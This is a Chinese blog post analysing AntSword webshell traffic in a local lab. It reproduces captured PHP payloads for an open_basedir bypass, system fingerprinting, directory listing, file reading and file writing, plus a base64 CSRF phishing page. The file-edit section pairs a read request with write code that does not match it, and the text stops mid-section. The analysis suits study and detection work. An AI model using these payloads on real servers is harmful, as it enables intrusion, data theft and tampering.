Chosen1|安全

蚁剑流量分析

1.代理

蚁剑有设置代理的功能,把蚁剑端口改为bp端口,所以可以直接bp抓包,比wireshark抓包方便一点。

之后bp开启截断即可。

2.测试连接

分析一下测试数据包。

这里为了方便代码的分析我选择了default传输,直接可以看到代码,不需要编码解码。

但是实际连站的时候还是要加编码方式,要不然可能连不上。

下面这个是bp拦截到的数据包(数据包的数据是url编码过的,我解码提取出来的)

数据包:

POST /123.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 1793
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.351f1989afc%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2219bf%22.%22c178%22%3Becho%20%40asenc(%24output)%3Becho%20%22836b%22.%2255bd%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

执行代码:

最后执行的代码其实相当于:

<?php
// 禁用错误显示
@ini_set("display_errors", "0");

// 设置执行时间限制为无限
@set_time_limit(0);

// 获取当前PHP配置中的 open_basedir
$opdir = @ini_get("open_basedir");

// 如果 open_basedir 存在
if ($opdir) {
    // 获取当前脚本的目录
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);

    // 将 open_basedir 字符串按特定分隔符切割为数组
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);

    // 将当前目录、临时目录加入数组
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    // 遍历数组中的目录
    foreach ($oparr as $item) {
        // 如果目录不可写,继续下一个
        if (!@is_writable($item)) {
            continue;
        }

        // 创建一个临时目录路径
        $tmdir = $item . "/.4ab50bc65239";

        // 创建目录
        @mkdir($tmdir);

        // 如果目录不存在,继续下一个
        if (!@file_exists($tmdir)) {
            continue;
        }

        // 获取目录的绝对路径
        $tmdir = realpath($tmdir);

        // 切换当前工作目录到该目录
        @chdir($tmdir);

        // 临时更改 open_basedir 为上级目录
        @ini_set("open_basedir", "..");

        // 将路径按斜杠或反斜杠分割为数组
        $cntarr = @preg_split("/\\\\|\//", $tmdir);

        // 逐层切换到上级目录,复原 open_basedir
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        // 恢复 open_basedir 为根目录
        @ini_set("open_basedir", "/");
        // 删除创建的临时目录
        @rmdir($tmdir);

        // 跳出循环
        break;
    }
}

// 定义一个名为 asenc 的函数
function asenc($out)
{
    return $out;
}

// 定义一个名为 asoutput 的函数
function asoutput()
{
    // 获取输出缓冲内容
    $output = ob_get_contents();

    // 清空输出缓冲
    ob_end_clean();

    // 输出一些字符和经过 asenc 处理的内容
    echo "1864" . "3fc43";
    echo @asenc($output);
    echo "a2e" . "5ba6";
}

// 启动输出缓冲
ob_start();

try {
    // 获取当前脚本的目录
    $D = dirname($_SERVER["SCRIPT_FILENAME"]);

    // 如果目录为空,使用 PATH_TRANSLATED 获取目录
    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);

    // 构建一个字符串 $R 包含目录信息
    $R = "{$D}    ";

    // 如果目录不以斜杠开头,则遍历C到Z盘符,将其添加到 $R
    if (substr($D, 0, 1) != "/") {
        foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
    } else {
        $R .= "/";
    }

    $R .= "    ";

    // 获取当前用户信息
    $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s = ($u) ? $u["name"] : @get_current_user();

    // 添加服务器信息到 $R
    $R .= php_uname();
    $R .= "    {$s}";

    // 输出最终的 $R
    echo $R;
} catch (Exception $e) {
    // 如果发生异常,输出错误信息
    echo "ERROR://" . $e->getMessage();
}

// 调用 asoutput 函数输出内容
asoutput();

// 终止脚本的执行
die();

执行结果:
18643fc43D:/phpStudy/WWW C:D:E:F:H: Windows NT ECHO 10.0 build 22621 (Windows 10) i586 27682a2e5ba6

可以看到测试连接的代码:

1.输出了当前脚本的目录
2.判断了操作系统
3.获取了当前用户信息
4.在输出首尾加上了随机的字符串

再仔细观察可以看到一个asenc函数,这个函数是对传输数据或者说执行结果进行编码/加密的函数,这里因为是default传输,所以编码函数没进行任何操作。

3.双击连接

测试连接成功后即可保存数据再双击连接一句话木马。这里我们分析这个步骤发送的数据包。

这里需要注意的是分析数据包的过程中要把缓存清空,否则有部分数据包会分析不到。

第一个数据包

数据包:

POST /123.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01
Content-Type: application/x-www-form-urlencoded
Content-Length: 1791
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.a52b64%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ba2770%22.%2217cd97%22%3Becho%20%40asenc(%24output)%3Becho%20%22bb5%22.%226032%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

摘出代码分析了一下发现跟测试连接的代码是一样的。

第二个数据包
第一个数据包放行后已经打开了基本的页面:

所以第二个数据包应该是获取了网站目录。分析一下:

数据包:

POST /123.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 1868
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.16dcabb448%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22a2090%22.%22abbb8%22%3Becho%20%40asenc(%24output)%3Becho%20%22a70f%22.%228cdd5%22%3B%7Dob_start()%3Btry%7B%24D%3Dbase64_decode(substr(%24_POST%5B%22n652f246231826%22%5D%2C2))%3B%24F%3D%40opendir(%24D)%3Bif(%24F%3D%3DNULL)%7Becho(%22ERROR%3A%2F%2F%20Path%20Not%20Found%20Or%20No%20Permission!%22)%3B%7Delse%7B%24M%3DNULL%3B%24L%3DNULL%3Bwhile(%24N%3D%40readdir(%24F))%7B%24P%3D%24D.%24N%3B%24T%3D%40date(%22Y-m-d%20H%3Ai%3As%22%2C%40filemtime(%24P))%3B%40%24E%3Dsubstr(base_convert(%40fileperms(%24P)%2C10%2C8)%2C-4)%3B%24R%3D%22%09%22.%24T.%22%09%22.%40filesize(%24P).%22%09%22.%24E.%22%0A%22%3Bif(%40is_dir(%24P))%24M.%3D%24N.%22%2F%22.%24R%3Belse%20%24L.%3D%24N.%24R%3B%7Decho%20%24M.%24L%3B%40closedir(%24F)%3B%7D%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&n652f246231826=wvRDovcGhwU3R1ZHkvV1dXLw%3D%3D

执行代码:

<?php
@ini_set("display_errors", "0"); // 禁止显示 PHP 错误信息
@set_time_limit(0); // 设置脚本执行时间不受限制
$opdir = @ini_get("open_basedir"); // 获取服务器的 open_basedir 设置

// 如果 open_basedir 设置了值
if ($opdir) {
    // 获取当前脚本的目录(获取目录部分的路径),通过使用 $_SERVER["SCRIPT_FILENAME"] 超全局变量来获取当前脚本的绝对文件路径,然后通过 dirname 函数来提取该文件路径的目录部分。
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);

    // 将 open_basedir 字符串按特定分隔符切割为数组  preg_split用于将字符串分割成数组 使用了正则表达式还对正则筛选条件进行了加解密
    // 语法preg_split($正则表达式模式,用于指定分隔符, $要分割的原始字符串, $limit = 可选的参数,指定最大分割次数。默认值是 -1,表示没有限制,
    // $flags = 可选的标志参数,用于修改分割行为,例如大小写敏感、全局匹配等)
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);

    // 将当前目录、临时目录加入数组 $ocwd 是通过 dirname($_SERVER["SCRIPT_FILENAME"]) 获取的当前脚本的目录路径。
    // sys_get_temp_dir() 是一个 PHP 函数,用于获取系统的临时目录路径。
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    // 遍历数组中的每个路径
    // 检查当前迭代的 $item 是否可写(即是否具有写入权限)。
    // 如果 $item 不可写,那么 if (!@is_writable($item)) 的条件为真,代码会执行 continue;,
    // 这将导致跳过当前迭代并继续下一个。
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }

        // 创建一个临时目录
        $tmdir = $item . "/.f7da228";

        // 尝试创建目录
        @mkdir($tmdir);

        // 如果目录创建失败,继续下一个循环
        if (!@file_exists($tmdir)) {
            continue;
        }

        // 获取实际的目录路径
        $tmdir = realpath($tmdir);

        // 切换当前工作目录到该目录 $tmdir 是之前生成的一个临时目录的路径,
        // 通过一系列操作和检查确保它是一个可写的目录。一旦确认 $tmdir 是一个有效的、可写的目录,
        // 代码尝试通过 @chdir($tmdir) 将当前的工作目录更改为这个目录。
        @chdir($tmdir);

        // 临时更改 open_basedir 为上级目录
        // ini_set 是 PHP 的内置函数,用于动态地设置 PHP 的配置选项。
        // "open_basedir" 是要设置的配置选项的名称。open_basedir 用于指定 PHP 可以访问的目录的限制,以提高安全性。
        // ".." 是要将 open_basedir 设置为的新值,这表示 PHP 脚本在运行时可以访问上一级目录。
        @ini_set("open_basedir", "..");

        // 将路径按斜杠或反斜杠分割为数组
        // $tmdir 是一个包含路径的字符串,例如 /path/to/directory/file.txt。
        // preg_split 是一个用于正则表达式分割字符串的 PHP 函数。
        // "/\\\\|\//" 是一个正则表达式模式,它指定了两个可能的分隔符:反斜杠 \ 和斜杠 /。在正则表达式中,反斜杠 \ 是一个特殊字符,因此需要用两次反斜杠 \\ 来匹配它。
        // $cntarr 是一个数组,它将包含分割后的部分。
        $cntarr = @preg_split("/\\\\|\//", $tmdir);

        // 逐层切换到上级目录,复原 open_basedir
        // $cntarr 是一个数组,它包含了之前通过正则表达式分割得到的目录路径的各个部分。
        // for ($i = 0; $i < sizeof($cntarr); $i++) 是一个 for 循环,它从数组的第一个元素开始,一直遍历到最后一个元素。
        // 在每次循环迭代中,@chdir("..") 用于将当前的工作目录(当前目录)向上移动到上一级目录。
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir(".."); // 不断向上级目录移动
        }

        // 恢复 open_basedir 为根目录
        // ini_set 是 PHP 的内置函数,用于动态地设置 PHP 的配置选项。
        // "open_basedir" 是要设置的配置选项的名称。open_basedir 用于指定 PHP 可以访问的目录的限制,以提高安全性。
        @ini_set("open_basedir", "/");

        // 移除临时目录
        @rmdir($tmdir);

        // 退出循环
        break; // 结束循环
    }
}

// 定义一个用于加密的函数
// 在尝试绕过 PHP 的 open_basedir 限制,
// 它尝试在当前环境下创建一个可写的临时目录,然后在该目录中进行一些操作
function asenc($out)
{
    return $out;
}

// 定义一个用于输出的函数
// 获取输出缓冲区的内容:$output = ob_get_contents();
// 用于获取输出缓冲区中的内容,并将其保存在 $output 变量中。
// 清空输出缓冲区:ob_end_clean(); 用于清空输出缓冲区,以便后续重新填充缓冲区或输出内容。
// 输出一些字符和经过 asenc 处理的内容:这部分代码用于在输出中添加一些字符,并将经过 asenc 处理的 $output 输出到页面。
// @asenc($output) 是调用了名为 asenc 的函数来处理输出内容,这个函数在先前的代码中定义。
function asoutput()
{
    // 获取输出缓冲区的内容
    $output = ob_get_contents();
    // 清空输出缓冲区
    ob_end_clean();
    // 输出一些字符串
    echo "35160" . "c887a";
    // 调用 asenc 函数对输出进行加密
    echo @asenc($output);
    // 输出另一些字符串
    echo "bbf6" . "bd81";
}

// ob_start();: 这一行代码启用输出缓冲区,
// 用于将后续的输出内容暂时存储在缓冲区中,而不是立即发送到浏览器。
ob_start();

try {   // try { ... } catch (Exception $e) { ... }

    // 从 base64 解码的字符串中获取路径信息  原来的代码接受传参$_POST["rdaa4d79774df8"]
    // base64加密  'RDovcGhwU3R1ZHkvV1dXLw==' ==> D:/phpStudy/WWW/
    $D = base64_decode(substr('jyRDovcGhwU3R1ZHkvV1dXLw==', 2));

    // 打开目录
    $F = @opendir($D);

    // 如果目录不存在或无权限,输出错误信息
    if ($F == NULL) {
        echo("ERROR:// Path Not Found Or No Permission!");
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . $N; // 构建文件路径
            $T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件修改时间
            @$E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限
            $R = "    " . $T . " " . @filesize($P) . "  " . $E . "
"; // 格式化文件信息

            if (@is_dir($P)) {
                $M .= $N . "/" . $R; // 如果是目录,添加到 $M 变量
            } else {
                $L .= $N . $R; // 如果是文件,添加到 $L 变量
            }
        }
        echo $M . $L; // 输出目录信息和文件信息
        @closedir($F); // 关闭目录
    }
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage(); // 捕获异常并输出错误信息
}

asoutput(); // 输出处理后的内容
die(); // 终止脚本执行
//&
//rdaa4d79774df8 = jyRDovcGhwU3R1ZHkvV1dXLw==

所以这个数据包是得到了当前路径下的文件和文件夹,以及对应的修改时间、大小和权限。

这个路径是用一个参数传递的,所以修改参数可以得到对应路径的内容。

而且这里这个参数也是随机的,每次访问都不一样。

文件夹以/结尾,文件以后缀结尾。

response:

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2022 11:00:22 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 843

7fe6ecff623./    2022-04-21 20:57:22 4096    0777
../    2022-04-18 11:56:05 4096    0777
csrf/    2021-08-10 18:01:21 0   0777
dvwa/    2022-03-26 20:32:13 4096    0777
error/    2021-07-17 22:46:05 0   0777
ftp/    2021-08-18 22:04:00 0   0777
pikachu-master/    2022-03-23 16:38:46 4096    0777
sqli-labs/    2021-09-17 23:33:49 16384   0777
thinkphp_5.0.20/    2022-03-01 18:29:30 4096    0777
antSword-1.php    2022-04-21 20:52:52 772 0666
antSword-2.php    2022-04-23 18:56:29 2021    0666
antSword-temp.php    2022-04-21 20:00:27 827 0666
antSword-test.php    2022-04-21 20:42:41 1191    0666
index.html    2019-09-03 14:30:48 2307    0666
info.php    2022-04-01 20:36:31 97  0666
log.txt    2021-09-17 22:47:15 0   0666
pikachu-master.zip    2022-04-19 15:53:14 17920   0666
shell.php    2022-03-23 10:24:07 29  0666
sqli-labs.zip    2022-03-19 12:27:53 3640593 0666
thinkphp_5.0.20.zip    2022-03-01 18:25:50 397100  0666
5613ae9b942

返回数据包后界面:

4.打开文件夹(不是我分析的)

在目录列表或者文件列表选择一个文件夹打开,截取到

数据包:

POST /shell.php HTTP/1.1
Host: 192.168.47.212:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1080
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2215b4c1c%22%3Becho%20%40asenc(%24output)%3Becho%20%22e2eac13%22%3B%7Dob_start()%3Btry%7B%24D%3Dbase64_decode(%24_POST%5B%22hc608291b15ec1%22%5D)%3B%24F%3D%40opendir(%24D)%3Bif(%24F%3D%3DNULL)%7Becho(%22ERROR%3A%2F%2F%20Path%20Not%20Found%20Or%20No%20Permission!%22)%3B%7Delse%7B%24M%3DNULL%3B%24L%3DNULL%3Bwhile(%24N%3D%40readdir(%24F))%7B%24P%3D%24D.%24N%3B%24T%3D%40date(%22Y-m-d%20H%3Ai%3As%22%2C%40filemtime(%24P))%3B%40%24E%3Dsubstr(base_convert(%40fileperms(%24P)%2C10%2C8)%2C-4)%3B%24R%3D%22%09%22.%24T.%22%09%22.%40filesize(%24P).%22%09%22.%24E.%22%0A%22%3Bif(%40is_dir(%24P))%24M.%3D%24N.%22%2F%22.%24R%3Belse%20%24L.%3D%24N.%24R%3B%7Decho%20%24M.%24L%3B%40closedir(%24F)%3B%7D%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&hc608291b15ec1=QzovVXNlcnMvdXNlc25pY2svcGhwc3R1ZHlfcHJvL1dXVy9jc3JmLw%3D%3D

这里分析了一下代码发现跟连接过程的第二个数据包基本一致,至少改变了参数名称和参数值。

hc608291b15ec1=base64_encode("C:/Users/usesnick/phpstudy_pro/WWW/csrf/")

大概蚁剑打开文件夹的函数基本就是这个。

5.打开文件(是不是我分析的没印象了)

在文件列表选择一个文件打开,截取数据包分析。

数据包:

POST /shell.php HTTP/1.1
Host: 192.168.47.212:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 696
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2234f646%22%3Becho%20%40asenc(%24output)%3Becho%20%220d0d3453d%22%3B%7Dob_start()%3Btry%7B%24F%3Dbase64_decode(%24_POST%5B%22hc608291b15ec1%22%5D)%3B%24P%3D%40fopen(%24F%2C%22r%22)%3Becho(%40fread(%24P%2Cfilesize(%24F)%3Ffilesize(%24F)%3A4096))%3B%40fclose(%24P)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&hc608291b15ec1=QzovVXNlcnMvdXNlc25pY2svcGhwc3R1ZHlfcHJvL1dXVy9jc3JmLzE5Mi4xNjguNDcuMTQxL2NzcmYubWVkaXVtLmh0bWw%3D

执行代码:

<?php

$hc608291b15ec1="QzovVXNlcnMvdXNlc25pY2svcGhwc3R1ZHlfcHJvL1dXVy9jc3JmLzE5Mi4xNjguNDcuMTQxL2NzcmYubWVkaXVtLmh0bWw=";
//$hc608291b15ec1="C:/Users/usesnick/phpstudy_pro/WWW/csrf/192.168.47.141/csrf.medium.html"

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
}
;
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "34f646";
    echo @asenc($output);
    echo "0d0d3453d";
}
ob_start();
try{
    $F=base64_decode($hc608291b15ec1);
    $P=@fopen($F,"r");
    echo(@fread($P,filesize($F)?filesize($F):4096));
    @fclose($P);
;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

?>

可以看到是fopen函数打开,fread函数读取文件内容。

6.修改文件

蚁剑打开某个文件的界面后其实是在编辑这个文件。

如果我们不对文件做修改,那直接退出即可。但是我们可以直接修改文件并且点击保存来保存修改。

修改文件

这里截取保存文件的数据包分析:

数据包:

POST /123.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 1448
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.1011fa44415%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22d1dcf%22.%2232f1ca%22%3Becho%20%40asenc(%24output)%3Becho%20%22848be%22.%220ddb1%22%3B%7Dob_start()%3Btry%7B%24F%3Dbase64_decode(substr(%24_POST%5B%22xc7c4899eb06de%22%5D%2C2))%3B%24P%3D%40fopen(%24F%2C%22r%22)%3Becho(%40fread(%24P%2Cfilesize(%24F)%3Ffilesize(%24F)%3A4096))%3B%40fclose(%24P)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&xc7c4899eb06de=JSRDovcGhwU3R1ZHkvV1dXLzEudHh0

执行代码:

<?php

$b2e09c4cfdd442="PGh0bWw+DQoNCgk8aGVhZD4NCgkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeX".
"lIiBjb250ZW50PSJ0ZXh0L2h0bWwiOyBjaGFyc2VyPSJVVEYtOCIgLz4NCgkJPHRpdGxlPnlvdSBoYXZlIGdvdC".
"B0aGUgd2lubmluZyBudW1iZXIgaW4gYSBib25kPC90aXRsZT4NCgk8L2hlYWQ+DQoNCgk8Ym9keT4NCgkJP".
"GEgaHJlZj0iaHR0cDovLzE5Mi4xNjguNDcuMTQxL0RWV0EtbWFzdGVyL3Z1bG5lcmFiaWxpdGllcy9jc3JmLz9".
"wYXNzd29yZF9uZXc9MTIzNDU2JnBhc3N3b3JkX2NvbmY9MTIzNDU2JkNoYW5nZT1DaGFuZ2UiPmNsaWNrI".
"GhlcmUgdG8gZ2V0IGludG8gdGhlIHdlYnNpdGUgd2hlcmUgeW91IGNhbiBjYXNoIHlvdXIgcHJpemU8L2E+D". 
"QoJPC9ib2R5Pg0KDQo8L2h0bWw+";

$hc608291b15ec1="QzovVXNlcnMvdXNlc25pY2svcGhwc3R1ZHlfcHJvL1dXVy9jc3JmLzE5Mi4xNjguNDcuMTQ".
"xL2NzcmYubWVkaXVtLmh0bWw=";

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
}
;
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "72860995809";
    echo @asenc($output);
    echo "3500346f15";
}
ob_start();
try{
    echo
  @fwrite(fopen(base64_decode($_POST["hc608291b15ec1"]),"w"),base64_decode($_POST["b2e09c4cfdd442"]))?"1":"0";
;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

?>

可以看到一个参数传入文件名,一个参数传入base64编码过的文件内容。那这里就有一个问题,修改大文件这么修改的话就会有时间和数据长度的问题。

而且这个方法还会返回一个数字来表示修改成功与否,但是会因为跟返回值头和返回值尾拼接所以不太好发现。

echo "72860995809";
echo @asenc($output);
echo "3500346f15";
// 72860995809 1 3500346f15

7.文件上传(超级无敌巨详细版,你要是再看不懂我建议重开)

文件名:1.txt 内容:zzp

数据包:

POST /123.php HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0
